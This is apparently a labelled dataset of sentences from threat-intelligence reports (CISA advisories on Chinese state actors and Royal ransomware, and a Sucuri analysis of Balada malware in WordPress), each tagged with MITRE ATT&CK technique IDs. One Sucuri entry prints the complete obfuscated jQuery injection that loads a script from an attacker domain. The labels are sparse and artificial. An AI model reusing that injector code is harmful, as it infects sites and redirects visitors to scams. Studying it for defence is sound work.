{"sentence": "Minimize permissions and access for service accounts.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use threat intelligence and open-source exploitation databases to determine services that are targets for exploitation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Network Traffic Analysis Remote Terminal Session Detection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-RTSD] User Behavior Analysis [D3-UBA] Isolate: Execution Isolation Mandatory Access Control [D3-MAC] Tactics:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor command-line arguments for known archival utilities that are not common in the organization's environment.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Access to the clipboard is a legitimate function of many applications on an operating system.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity (e.g. excessive use of pbcopy/pbpaste (Linux) or clip.exe (Windows) run by general users through command line).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "If possible, disable use of RDP and other file sharing protocols to minimize a malicious actor's ability to exfiltrate data.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Network Traffic Analysis Remote Terminal Session Detection [D3-RTSD] Isolate: Network Isolation Inbound Traffic Filtering [D3-ITF] Outbound Traffic Filtering [D3-OTF] Data Staged [T1074] Chinese state-sponsored cyber actors have been observed using the mv command to export files into a location, like a compromised Microsoft Exchange, IIS, or emplaced webshell prior to compressing and exfiltrating the data from the target network.", "labels": ["T1074.001"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as using 7-Zip, RAR, ZIP, or zlib.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-FAPA] Email Collection [T1114] Chinese state-sponsored cyber actors have been observed using the New-MailboxExportRequest PowerShell cmdlet to export target email boxes.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Audit email auto-forwarding rules for suspicious or unrecognized rulesets.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Encrypt email using public key cryptography, where feasible.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use MFA on public-facing mail servers.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Credential Hardening Multi-factor Authentication [D3-MFA] Message Hardening Message Encryption [D3-MENCR] Detect: Process Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PA] Tactics: Command and Control", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0011] Table XII: Chinese state-sponsored cyber actors’ Command and Control TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques Application Layer", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1071] Chinese state-sponsored cyber actors have been observed: Using commercial cloud storage services for command and control.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use network intrusion detection and prevention systems with network signatures to identify traffic for specific adversary malware.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1105] Chinese state-sponsored cyber actors have been observed importing tools from GitHub or infected domains to victim networks.", "labels": ["T1105"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "In some instances.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Perform ingress traffic analysis to identify transmissions that are outside of normal network behavior.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Isolate: Network Isolation Inbound Traffic Filtering [D3-ITF]", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use signature-based network intrusion detection and prevention systems to identify adversary malware calling back to C2.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Network Traffic Analysis Client-server Payload Profiling [D3-CSPP] Protocol Metadata Anomaly Detection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) Detect: Network Traffic Analysis Protocol Metadata Anomaly Detection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PMAD]", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Proxy [T1090]: Multi-Hop Proxy [T1090.003] Chinese state-sponsored cyber actors have been observed using a network of VPSs and small office and home office (SOHO) routers as part of their operational infrastructure to evade detection and host C2 activity.", "labels": ["T1090"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Some of these nodes operate as part of an encrypted proxy service to prevent attribution by concealing their country of origin and TTPs.", "labels": ["T1090"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor traffic for encrypted communications originating from potentially breached routers to other routers within the organization.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Compare the source and destination with the configuration of the device to determine if these channels are authorized VPN connections or other encrypted modes of communication.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use network allow and blocklists to block traffic to known anonymity networks and C2 infrastructure.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-RPA] Isolate: Network Isolation Outbound Traffic Filtering [D3-OTF] Appendix B: MITRE ATT&CK Framework Figure 2: MITRE ATT&CK Enterprise tactics and techniques used by Chinese state-sponsored cyber actors (Click here for the downloadable JSON file.)", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "To request incident response resources or technical assistance related to these threats, contact CISA at Central@cisa.dhs.gov.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "For NSA client requirements or general cybersecurity inquiries, contact the NSA Cybersecurity Requirements Center at 410-854-4200 or Cybersecurity_Requests@nsa.gov.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Media Inquiries / Press Desk: • NSA Media Relations, 443-634-0721, MediaRelations@nsa.gov • CISA Media Relations, 703-235-2010, CISAMedia@cisa.dhs.gov • FBI National Press Office, 202-324-3691, npo@fbi.gov References [1] FireEye:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits Revisions July 19, 2021:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "On May 11th, 2023, the very popular WordPress plugin Essential Addons for Elementor released a patch for a critical privilege escalation vulnerability, initially discovered by PatchStack.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The technical details of this vulnerability can be found on their recent blog post.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Over one million websites use this plugin and the fallout from this has been absolutely massive, with over 6,000 detections by SiteCheck already so far and 1637 detections in", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Our clients using the Sucuri Website Firewall are protected from this vulnerability as our research team issued an emergency patch shortly after the vulnerability was disclosed.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Contents:New malware taste, classic Balada flavorAs with any new vulnerability like this the attackers associated with the years-long Balada malware campaign (which we have documented extensively on this blog) were quick to jump on the opportunity.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Within 24 hours of the vulnerability’s release we observed a large spike in infections, many of which included a Doppelgänger post-layouts (Post Layouts for Gutenberg) plugin.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Notice the added “s” in posts:./wp-content/plugins/posts-layoutsSince the vulnerability allows for unauthenticated takeover of websites, attackers are able to take full administrator control of victim environments and install malicious plugins like the one above.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Post Layouts is actually a legitimate plugin found within the WordPress repository with over 30,000+ installations and is designed to add functionality to WordPress that allows posts to be displayed in grid and list layouts.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "That being said, the version installed by the Balada attackers is spurious and a maliciously modified version, in which hackers disabled the legitimate functionality and added malicious code to be executed instead.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "All legitimate files and the metadata of the real post-layouts plugin are retained though, which make it look like the real deal at the first sight.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "We can see that with 30,000+ active installations, the original plugin has only less than 11,000 all time downloads.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Usually, the number of all time downloads is significantly higher than the number of active installations, since it’s common practice to download plugins, test them, and remove/disable afterwards.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "At the beginning of this week, the number of active installations was still 20,000+.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "With 316 downloads during the last 7 days, you can hardly expect the number of active installations to increase so quickly.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "We think this insignificant spike was caused by webmasters and security professionals that wanted to download the official version and compare it with the suspicious plugins found on compromised sites.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:17:39 +0000] \"POST /wp-admin/plugin-install.php?wc-ajax=1\" 200 0 - 16276 25453 193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:17:41 +0000] \"POST /wp-admin/update.php?action=upload-plugin&wc-ajax=1\" 200 7689 - 16276 25453 193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:17:45 +0000] \"POST /wp-admin/plugin-install.php?wc-ajax=1\" 200 0 - 16276 25453 193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:17:48 +0000] \"POST /wp-admin/update.php?action=upload-plugin&wc-ajax=1\" 200 1361 - 16276 25581 … 193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:17:55 +0000] \"POST /wp-admin/plugins.php?wc-ajax=1&action=activate&plugin=posts-layouts%2Fposts-layouts.php&plugin_status=all&_wpnonce=810f12b23c\" 302 0 - 16276 25581 193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The Balada script injection occurs in the malicious posts-layout/dist/job.php file:./wp-content/plugins/posts-layouts/dist/job.phpIn the posts_layouts_head() function we can see the telltale character code obfuscation being used here, which seems to be a favorite of the Balada malware threat actors.", "labels": ["T1140"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The same job.php file also contains a backdoor that executes arbitrary PHP code sent as a POST request parameter “dd1”.", "labels": ["T1071.001"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Additionally, we also find code used to verify the presence of the installed malicious plugin.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "For requests containing the “343” GET parameter, the plugin returns the MD5 hash of ‘343’ which is equal 3ad7c2ebb96fcba7cda0cf54a2e802f5.Verification of the plugin installationHere, you can see how hackers verify the presence of the plugin before and after the infection://Before the infection a real site web page is returned: 21414 bytes 193.169.195.64 - - [12/May/2023:21:17:23 +0000] \"GET /?343=1 HTTP/1.0\" 200 21414 \"-\" \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Running a simple whois command over the main scriptsplatform domain shows that it was created/registered one day after the vulnerability was disclosed, suggesting that it was purpose-built for this mass infection:Domain name: scriptsplatform[.]com Registry Domain ID: 2780171223_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.eranet.com Registrar URL: http://www.eranet.com Updated Date: 2023-05-12T00:00:00Z Creation Date: 2023-05-12T05:33:59ZVisitors to the infected websites are met with a bogus redirect served by shady ad networks pushing mainly adult dating and notification scams that can look a little something like this:Malware analysisAs you might have noticed, the malicious code added to the posts-layouts/posts-layouts.php actually tries to load three files: dist/init.php, dist/cache.php and dist/job.php.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Malicious code in wp-content/plugins/posts-layouts/posts-layouts.phpWe’ve already described the dist/job.php file above.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "It doesn’t prevent the plugin from working since it only tries to load it if the file actually exists.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The dist/init.php file is a part of the legitimate post-layouts plugin.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "It is the file that defines the posts_layouts_finish() function that is hooked to the “pre_current_active_plugins” action on the last line of the posts-layouts.php.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The purpose of this additional function is to hide the plugin from being visible from within the wp-admin administrator dashboard, but still keeps the plugin “functionality” active on the website.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Additional infection activityInstallation of the fake posts-layouts plugin is not the only thing that hackers do during the initial infection.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Additionally, they inject the Balada scripts at the top of the active theme’s header.php and footer.php files.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "In the case of header.php, the injected script is hxxps://cdn.scriptsplatform[.]com/scripts/header.js.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:18:00 +0000] \"POST /wp-admin/theme-editor.php?wc-ajax=1&file=header.php HTTP/1.0\" 200 45863 \"https://<redacted>/wp-admin/theme-editor.php?wc-ajax=1&file=header.php\" \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0\" 139.162.234.6 - - [12/May/2023:21:18:02 +0000] \"GET /wp-admin/theme-editor.php?theme=<redacted>&file=header.php&wp_scrape_key=9d62c27a9d88828dc1afaa4927b0550f&wp_scrape_nonce=395126822 HTTP/1.0\" 200 46029 \"-\" \"WordPress/6.2; https://<redacted>\" .. 193.169.195.64 - -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:18:06 +0000] \"POST /wp-admin/theme-editor.php?file=header.php&wc-ajax=1 HTTP/1.0\" 200 45900 \"https://<redacted>/wp-admin/theme-editor.php?file=header.php&wc-ajax=1\" \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0\" 193.169.195.64 - - [12/May/2023:21:18:08 +0000] \"POST /wp-admin/theme-editor.php?wc-ajax=1&file=footer.php HTTP/1.0\" 200 44786 \"https://<redacted>/wp-admin/theme-editor.php?wc-ajax=1&file=footer.php\" \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0\" 139.162.234.6 - - [12/May/2023:21:18:10 +0000] \"GET /wp-admin/theme-editor.php?theme=<redacted>&file=footer.php&wp_scrape_key=ad1ff4f46178f3088aa44babccd465f3&wp_scrape_nonce=1686713392 HTTP/1.0\" 200 44956 \"-\" \"WordPress/6.2; https://<redacted>\" ..Malicious header.js, stat.js and footer.js loads the same code that eventually loads statistic.scriptsplatform[.]com/collect and then come.scriptsplatform[.]com/away.php which uses a TDS to redirect site visitors to some third-party site.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "All three scripts appear on the same infected page.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "This doesn’t cause problems, as all of them check if the statistic.scriptsplatform[.]com/collect script was actually loaded.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "On the other hand, placing the scripts in three different locations helps the attackers keep the injection working even if the malware is partially cleaned.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Furthermore, we see the same attacker injecting backdoor PHP scripts into the docroot and some other directories of victim websites.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The file names of these backdoors follow the pattern wp-<English-word>-need-XXX.php, where <English-word> is a random English word and XXX are 3 random characters.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "In addition, it also tries to delete the wp-sale.js file created at the same time as the backdoor.", "labels": ["T1070.004"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "On each infected site the parameter names and hashes used for verifying passwords are different.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Thus, hackers need to keep track of all this data for every compromised site in order to be able to access their backdoors later.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Threat actors have also been adding a malicious user to infected websites with the name wp-demouser-44.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "This username has already proliferated to many websites in google search results.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "In some cases, we also attribute this to cross-site contamination when multiple sites share the same hosting account.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "In such cases, we find the following modified wp-blog-header.php file which includes injected obfuscated PHP code (again using character code obfuscation):The decoded malware looks like this:What we can see is the malware again tries to inject three malicious scripts:hxxps://cdn.scriptsplatform[.]com/scripts/start_h.js into the header of the bloghxxps://cdn.scriptsplatform[.]com/scripts/start_f.js into the footer of the bloghxxps://cdn.scriptsplatform[.]com/scripts/start_c.js into the main content of the blogInterestingly enough, the start_c.js script is only injected into single pages while start_f.js is injected even to known users of the blog.Start_h.js and start_c.js return the same script as the header/footer/stat.js described in the posts_layouts infection.", "labels": ["T1027"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Start_f.js doesn’t return anything at this point, so it’s purpose it not clear.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "To accomplish this, bad actors set the “wordpress_m_adm” cookie and write the visitors IP address into the rq.txt file in the server’s temporary directory.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Jquery injectionsIn some cases, the following obfuscated JavaScript code is injected on top of wp-includes/js/jquery/jquery.min.js and wp-includes/js/jquery/jquery-migrate.min.jsvar m=b;(function(c,e){var l=b,f=c();while(!![]){try{var g=parseInt(l(0x135))/0x1+parseInt(l(0x12b))/0x2+-parseInt(l(0x12d))/0x3+parseInt(l(0x13d))/0x4+-parseInt(l(0x12e))/0x5*(parseInt(l(0x12a))/0x6)+parseInt(l(0x12f))/0x7*(-parseInt(l(0x13e))/0x8)+parseInt(l(0x13c))/0x9;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x7f054));function b(c,d){var e=a();return b=function(f,g){f=f-0x128;var h=e[f];return h;},b(c,d);}var j=document,k=j[m(0x130)](m(0x12c));k[m(0x138)]='h'+'tt'+m(0x13f)+'/'+'/s'+'ta'+m(0x128)+'t'+m(0x134)+'ri'+'p'+'ts'+m(0x132)+'tf'+'or'+m(0x13a)+m(0x136)+'lo'+'b'+'al';function a(){var n=['3558289hXnVzT','createElement','getElementsByTagName','pla','insertBefore','ics.sc','420078GNrZss','m/g','currentScript','src','head','m.co','parentNode','8887806xXCyNX','388724nuSCLw','8ZOcngi','ps:','tis','appendChild','3101916zsXWgk','1138664hDNQfV','script','1585608NAjuAN','5gMyIif'];a=function(){return n;};return a();}document[m(0x137)]?document[m(0x137)][m(0x13b)][m(0x133)](k,document[m(0x137)]):j[m(0x131)](m(0x139))[0x0][m(0x129)](k);This script also belongs to Balada Injector and loads hxxps://statistics.scriptsplatform[.]com/global.", "labels": ["T1027"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "New variation: cdn.clickandanalytics[.]comAfter May 17, 2023 we started noticing similar JavaScript injection into legitimate website files that loaded the Balada script from: hxxps://cdn.clickandanalytics[.]com/trackIt’s a very fresh domain.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "According to WHOIS data, it was registered on 2023-05-17T17:01:12Z.Fake hellopress pluginPosts-layouts is not the only malicious plugin installed on sites with the vulnerable essential-addons-for-elementor-lite plugin.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Another one (which seems to be installed by a different threat actor) is hellopress.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "We find these backdoors on compromised sites:wp-content/plugins/hellopress/wp_mna.php – file uploaderwp-content/plugins/hellopress/wp_filemanager.php – web shellTo summarize:The attacker successfully logs into the vulnerable WordPress site through wp-login.phpThey use the update.php?action=upload-plugin endpoint to install the malicious pluginNext, the plugin is activated via plugins.php?action=activate&plugin=posts-layouts%2Fposts-layouts.phpSeveral requests are made to both theme-editor.php and admin-ajax.php to inject further malware into the website files, specifically the header.php and footer.php files (these are further injections of the same malicious JavaScript)Further requests are made to the additional backdoor injected into the docrootThe malware is not identical for each and every affected website so the workflow and logs will vary slightly from site to site, but this is the gist of how they are exploiting this unauthenticated privilege escalation vulnerability to take over websites and inject malware.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "If your website has been affected by this mass infection, of course we can help, but if you are tasked with cleaning up this malware by your lonesome be sure to follow these steps:Update all vulnerable software componentsRemove the malicious posts-layouts pluginCheck for recently modified files, including core and theme filesRemove any backdoors injected by the attackersRemove any malicious users planted by the attackersFor good measure, change all administrator passwordsWe have a more detailed guide on remediating a hacked WordPress website which you can find here.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "And, as always, our free website scanning tool SiteCheck can help you confirm if the payload has been removed from your website or not:Key takeawaysTo summarise: Attackers, particularly those threat actors associated with Balada website malware, are quick to pounce on any new vulnerabilities that get disclosed or otherwise discovered.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Website owners with automatic plugin updates enabled are best protected against situations like these.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "That being said, sometimes website owners can be hesitant to issue all available plugin and theme updates due to concerns about compatibility issues or breaking something, so for this reason it’s also a good idea to place your website behind a firewall to prevent attacks.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Special thanks to Denis Sinegubko for his research and assistance with this post.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "SUMMARY Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Actions to take today to mitigate cyber threats from ransomware: Prioritize remediating known exploited vulnerabilities.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Train users to recognize and report phishing attempts.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Enable and enforce multifactor authentication.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Since approximately September 2022, cyber criminals have compromised U.S. and international organizations with a Royal ransomware variant.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "After gaining access to victims’ networks, Royal actors disable antivirus software and exfiltrate large amounts of data before ultimately deploying the ransomware and encrypting the systems.", "labels": ["T1562.001"], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Royal actors have made ransom demands ranging from approximately $1 million to $11 million USD in Bitcoin.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "In observed incidents, Royal actors do not include ransom amounts and payment instructions as part of the initial ransom note.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Royal actors have targeted numerous critical infrastructure sectors including, but not limited to, Manufacturing, Communications, Healthcare and Public Healthcare (HPH), and Education.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "For a downloadable copy of IOCs, see AA23-061A STIX XML (XML, 114.26 KB ) TECHNICAL DETAILS Note: This advisory uses the MITRE ATT&CK:registered: for Enterprise framework, version 12.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "This approach allows the actor to lower the encryption percentage for larger files, which helps evade detection.[1]", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "According to open-source reporting, victims have unknowingly installed malware that delivers Royal ransomware after receiving phishing emails containing malicious PDF documents [T1566.001], and malvertising [T1566.002].[2] Remote Desktop Protocol (RDP).", "labels": ["T1566.001"], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "The second most common vector Royal actors use (in 13.3% of incidents) for initial access is RDP compromise.", "labels": ["T1021.001"], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Public-facing applications.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "FBI has also observed Royal actors gain initial access through exploiting public-facing applications [T1190]. Brokers.", "labels": ["T1190"], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Command and Control Once Royal actors gain access to the network, they communicate with command and control (C2) infrastructure and download multiple tools [T1105].", "labels": ["T1105"], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Legitimate Windows software is repurposed by Royal operators to strengthen their foothold in the victim’s network.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "FBI has observed multiple Qakbot C2s used in Royal ransomware attacks, but has not yet determined if Royal ransomware exclusively uses Qakbot C2s.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Lateral Movement and Persistence Royal actors often use RDP to move laterally across the network", "labels": ["T1021.001"], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Microsoft Sysinternals tool PsExec has also been used to aid lateral movement.", "labels": ["T1570"], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "FBI has observed Royal actors using remote monitoring and management (RMM) software, such as AnyDesk, LogMeIn, and Atera, for persistence in the victim’s network", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "In some instances, the actors moved laterally to the domain controller.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "In one confirmed case, the actors used a legitimate admin account to remotely log on to the domain controller [T1078].", "labels": ["T1078"], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "[T1562.001] by modifying Group Policy Objects", "labels": ["T1484.001"], "doc_title": "StopRansomware Royal Ransomware"}
